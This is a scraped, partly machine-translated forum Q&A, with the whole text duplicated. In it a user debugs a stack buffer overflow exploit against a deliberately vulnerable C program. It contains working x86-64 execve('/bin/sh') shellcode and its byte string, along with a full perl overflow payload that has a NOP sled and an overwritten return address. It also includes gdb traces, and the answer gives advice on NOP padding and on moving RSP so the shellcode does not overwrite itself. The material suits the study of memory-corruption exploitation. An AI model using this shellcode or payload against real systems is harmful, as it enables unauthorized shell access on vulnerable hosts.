堆栈中的代码自行更改
Code in stack changes by itself
我正在通过导致溢出来测试堆栈中的运行代码。我在堆栈中获取指向我的汇编代码的指导指针,然后它开始运行。然而,在某一时刻,说明似乎会自行改变,我在解决这个问题时遇到了一些小麻烦。
bug2.c:
#include <stdio.h>
# Very simple case, compiled by
# gcc -o bug2 -z execstack -fno-pie -fno-stack-protector bug2.c
int main(int argc, char * argv[]) {
char buf[256];
if(argc == 1) {
printf("Usage: %s input\n", argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf("%s", buf);
}
scode3.asm:
SECTION .text
global _start
_start:
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall
正在测试 scode3.asm 并获取 shellcode:
$ nasm -f elf64 -o scode3.o scode3.asm
$ ld -o scode3 scode3.o
$ ./scode3
$ ... gave new shell... exit...
$ objdump -d scode3
scode3: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 d2 xor %rdx,%rdx
400083: 48 bb ff 2f 62 69 6e movabs [=2=]x68732f6e69622fff,%rbx
40008a: 2f 73 68
40008d: 48 c1 eb 08 shr [=2=]x8,%rbx
400091: 53 push %rbx
400092: 48 89 e7 mov %rsp,%rdi
400095: 48 31 c0 xor %rax,%rax
400098: 50 push %rax
400099: 57 push %rdi
40009a: 48 89 e6 mov %rsp,%rsi
40009d: b0 3b mov [=2=]x3b,%al
40009f: 0f 05 syscall
4000a1: 6a 01 pushq [=2=]x1
4000a3: 5f pop %rdi
4000a4: 6a 3c pushq [=2=]x3c
4000a6: 58 pop %rax
4000a7: 0f 05 syscall
This makes "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31
\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01
\x5f\x6a\x3c\x58\x0f\x05"
然后测试:
gdb -q bug2
# Let's put breakpoint at the printf (see the c code)
> break *0x0000000000400641
Breakpoint 1 at 0x400641
> x/i 0x0000000000400641
0x400641 <main+123>: call 0x400490 <printf@plt>
# Run with something that overflows, puts assembler code in stack, and leaves a pointer in stack pointing to the beginning of the assembler code
> run `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/meh/bug2 `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0000000000000000 RCX: 0xBE90050F583C6A5F RDX: 0x007FFFFFFFDCBE90 o d I t s z a P c
RSI: 0x00007FFFFFFFDBE0 RDI: 0x00000000004006F1 RBP: 0x00007FFFFFFFDCE0 RSP: 0x00007FFFFFFFDBD0 RIP: 0x0000000000400641
R8 : 0x000000335BDB8E80 R9 : 0x000000335BDB8E80 R10: 0x000000000000005D R11: 0x000000335BB7F980 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400641 <main+123>: call 0x400490 <printf@plt>
0x400646 <main+128>: leave
0x400647 <main+129>: ret
0x400648: nop DWORD PTR [rax+rax*1+0x0]
0x400650 <__libc_csu_init>: push r15
0x400652 <__libc_csu_init+2>: push r14
0x400654 <__libc_csu_init+4>: mov r15d,edi
0x400657 <__libc_csu_init+7>: push r13
-----------------------------------------------------------------------------------------------------------------------------
Breakpoint 1, 0x0000000000400641 in main ()
# Okay, now let's step to the point where the instruction pointer is at the code that was put in stack:
> n 3
0x00007fffffffdcbe in ?? ()
> x/16i 0x00007fffffffdcbe
=> 0x7fffffffdcbe: xor rdx,rdx
0x7fffffffdcc1: movabs rbx,0x68732f6e69622fff
0x7fffffffdccb: shr rbx,0x8
0x7fffffffdccf: push rbx
0x7fffffffdcd0: mov rdi,rsp
0x7fffffffdcd3: xor rax,rax
0x7fffffffdcd6: push rax
0x7fffffffdcd7: push rdi
0x7fffffffdcd8: mov rsi,rsp
0x7fffffffdcdb: mov al,0x3b
0x7fffffffdcdd: syscall
0x7fffffffdcdf: push 0x1
0x7fffffffdce1: pop rdi
0x7fffffffdce2: push 0x3c
0x7fffffffdce4: pop rax
0x7fffffffdce5: syscall
这看起来是正确的代码。然后手动进入系统调用:
> si
=> 0x7fffffffdcd6: push rax
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c
RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCE0 RIP: 0x00007FFFFFFFDCD7
R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd7: push rdi
0x7fffffffdcd8: mov rsi,rsp
0x7fffffffdcdb: mov al,0x3b
0x7fffffffdcdd: syscall
0x7fffffffdcdf: push 0x0
0x7fffffffdce1: add BYTE PTR [rax],al
0x7fffffffdce3: add BYTE PTR [rax],al
0x7fffffffdce5: add BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd7 in ?? ()
(gdb) > si
=> 0x7fffffffdcd7: push rdi
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c
RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCD8 RIP: 0x00007FFFFFFFDCD8
R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd8: call 0x7fffffffdcb9
0x7fffffffdcdd: jg 0x7fffffffdcdf
0x7fffffffdcdf: add BYTE PTR [rax],al
0x7fffffffdce1: add BYTE PTR [rax],al
0x7fffffffdce3: add BYTE PTR [rax],al
0x7fffffffdce5: add BYTE PTR [rax],al
0x7fffffffdce7: add BYTE PTR [rdi],ch
0x7fffffffdce9: (bad)
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd8 in ?? ()
我原以为下一条指令是 mov rsi,rsp 但似乎从那一点开始的一切都变了。
我怀疑压栈会覆盖我之前插入的数据(指令)?解决此问题的最小方法是什么?
我尝试用
之类的东西稍微移动一下代码
run `perl -e 'print "\x90" x (263-81) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90" x 40 . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
但它似乎对我没有帮助。
I suspect the pushing to stack overwrites my previously inserted data (instructions)? What would be the minimal way to fix this?
没错,你实际上是在修改自己脚下的代码(或者更确切地说,是你自己的RIP)。
我想到了两个简单的解决方案
- NOP 填充
用几十条无偿的 NOP 指令启动你的 shellcode,这样当你到达 PUSH 指令时,被覆盖的是你后面的 NOP,而不是你当前正在尝试的代码 运行。
- 将 RSP 移开
如果您不打算从您的 shellcode 返回到正常的堆栈帧并且您有严格的大小限制,您可以将 RSP 向上移动一点堆栈,这样 PUSH 就不会在您当前的 RIP 下发生。
这将覆盖堆栈上的重要信息,但如果您已经运行将您的 shellcode 放在那里,您可能不会介意。
我正在通过导致溢出来测试堆栈中的运行代码。我在堆栈中获取指向我的汇编代码的指导指针,然后它开始运行。然而,在某一时刻,说明似乎会自行改变,我在解决这个问题时遇到了一些小麻烦。
bug2.c:
#include <stdio.h>
# Very simple case, compiled by
# gcc -o bug2 -z execstack -fno-pie -fno-stack-protector bug2.c
int main(int argc, char * argv[]) {
char buf[256];
if(argc == 1) {
printf("Usage: %s input\n", argv[0]);
exit(0);
}
strcpy(buf,argv[1]);
printf("%s", buf);
}
scode3.asm:
SECTION .text
global _start
_start:
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall
正在测试 scode3.asm 并获取 shellcode:
$ nasm -f elf64 -o scode3.o scode3.asm
$ ld -o scode3 scode3.o
$ ./scode3
$ ... gave new shell... exit...
$ objdump -d scode3
scode3: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 d2 xor %rdx,%rdx
400083: 48 bb ff 2f 62 69 6e movabs [=2=]x68732f6e69622fff,%rbx
40008a: 2f 73 68
40008d: 48 c1 eb 08 shr [=2=]x8,%rbx
400091: 53 push %rbx
400092: 48 89 e7 mov %rsp,%rdi
400095: 48 31 c0 xor %rax,%rax
400098: 50 push %rax
400099: 57 push %rdi
40009a: 48 89 e6 mov %rsp,%rsi
40009d: b0 3b mov [=2=]x3b,%al
40009f: 0f 05 syscall
4000a1: 6a 01 pushq [=2=]x1
4000a3: 5f pop %rdi
4000a4: 6a 3c pushq [=2=]x3c
4000a6: 58 pop %rax
4000a7: 0f 05 syscall
This makes "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f
\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31
\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01
\x5f\x6a\x3c\x58\x0f\x05"
然后测试:
gdb -q bug2
# Let's put breakpoint at the printf (see the c code)
> break *0x0000000000400641
Breakpoint 1 at 0x400641
> x/i 0x0000000000400641
0x400641 <main+123>: call 0x400490 <printf@plt>
# Run with something that overflows, puts assembler code in stack, and leaves a pointer in stack pointing to the beginning of the assembler code
> run `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
Starting program: /home/meh/bug2 `perl -e 'print "\x90" x (263-41) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0000000000000000 RCX: 0xBE90050F583C6A5F RDX: 0x007FFFFFFFDCBE90 o d I t s z a P c
RSI: 0x00007FFFFFFFDBE0 RDI: 0x00000000004006F1 RBP: 0x00007FFFFFFFDCE0 RSP: 0x00007FFFFFFFDBD0 RIP: 0x0000000000400641
R8 : 0x000000335BDB8E80 R9 : 0x000000335BDB8E80 R10: 0x000000000000005D R11: 0x000000335BB7F980 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x400641 <main+123>: call 0x400490 <printf@plt>
0x400646 <main+128>: leave
0x400647 <main+129>: ret
0x400648: nop DWORD PTR [rax+rax*1+0x0]
0x400650 <__libc_csu_init>: push r15
0x400652 <__libc_csu_init+2>: push r14
0x400654 <__libc_csu_init+4>: mov r15d,edi
0x400657 <__libc_csu_init+7>: push r13
-----------------------------------------------------------------------------------------------------------------------------
Breakpoint 1, 0x0000000000400641 in main ()
# Okay, now let's step to the point where the instruction pointer is at the code that was put in stack:
> n 3
0x00007fffffffdcbe in ?? ()
> x/16i 0x00007fffffffdcbe
=> 0x7fffffffdcbe: xor rdx,rdx
0x7fffffffdcc1: movabs rbx,0x68732f6e69622fff
0x7fffffffdccb: shr rbx,0x8
0x7fffffffdccf: push rbx
0x7fffffffdcd0: mov rdi,rsp
0x7fffffffdcd3: xor rax,rax
0x7fffffffdcd6: push rax
0x7fffffffdcd7: push rdi
0x7fffffffdcd8: mov rsi,rsp
0x7fffffffdcdb: mov al,0x3b
0x7fffffffdcdd: syscall
0x7fffffffdcdf: push 0x1
0x7fffffffdce1: pop rdi
0x7fffffffdce2: push 0x3c
0x7fffffffdce4: pop rax
0x7fffffffdce5: syscall
这看起来是正确的代码。然后手动进入系统调用:
> si
=> 0x7fffffffdcd6: push rax
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c
RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCE0 RIP: 0x00007FFFFFFFDCD7
R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd7: push rdi
0x7fffffffdcd8: mov rsi,rsp
0x7fffffffdcdb: mov al,0x3b
0x7fffffffdcdd: syscall
0x7fffffffdcdf: push 0x0
0x7fffffffdce1: add BYTE PTR [rax],al
0x7fffffffdce3: add BYTE PTR [rax],al
0x7fffffffdce5: add BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd7 in ?? ()
(gdb) > si
=> 0x7fffffffdcd7: push rdi
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x0068732F6E69622F RCX: 0x000000007FFFFEF1 RDX: 0x0000000000000000 o d I t s Z a P c
RSI: 0x00000000004006F3 RDI: 0x00007FFFFFFFDCE8 RBP: 0x90050F583C6A5F01 RSP: 0x00007FFFFFFFDCD8 RIP: 0x00007FFFFFFFDCD8
R8 : 0x00000000FFFFFFFF R9 : 0x000000000000010E R10: 0x0000000000000022 R11: 0x0000000000000246 R12: 0x00000000004004D0
R13: 0x00007FFFFFFFDDC0 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffdcd8: call 0x7fffffffdcb9
0x7fffffffdcdd: jg 0x7fffffffdcdf
0x7fffffffdcdf: add BYTE PTR [rax],al
0x7fffffffdce1: add BYTE PTR [rax],al
0x7fffffffdce3: add BYTE PTR [rax],al
0x7fffffffdce5: add BYTE PTR [rax],al
0x7fffffffdce7: add BYTE PTR [rdi],ch
0x7fffffffdce9: (bad)
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffdcd8 in ?? ()
我原以为下一条指令是 mov rsi,rsp 但似乎从那一点开始的一切都变了。
我怀疑压栈会覆盖我之前插入的数据(指令)?解决此问题的最小方法是什么?
我尝试用
之类的东西稍微移动一下代码run `perl -e 'print "\x90" x (263-81) . "\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05" . "\x90" x 40 . "\x90\xbe\xdc\xff\xff\xff\x7f\x00\x00"'`
但它似乎对我没有帮助。
I suspect the pushing to stack overwrites my previously inserted data (instructions)? What would be the minimal way to fix this?
没错,你实际上是在修改自己脚下的代码(或者更确切地说,是你自己的RIP)。 我想到了两个简单的解决方案
- NOP 填充
用几十条无偿的 NOP 指令启动你的 shellcode,这样当你到达 PUSH 指令时,被覆盖的是你后面的 NOP,而不是你当前正在尝试的代码 运行。
- 将 RSP 移开
如果您不打算从您的 shellcode 返回到正常的堆栈帧并且您有严格的大小限制,您可以将 RSP 向上移动一点堆栈,这样 PUSH 就不会在您当前的 RIP 下发生。 这将覆盖堆栈上的重要信息,但如果您已经运行将您的 shellcode 放在那里,您可能不会介意。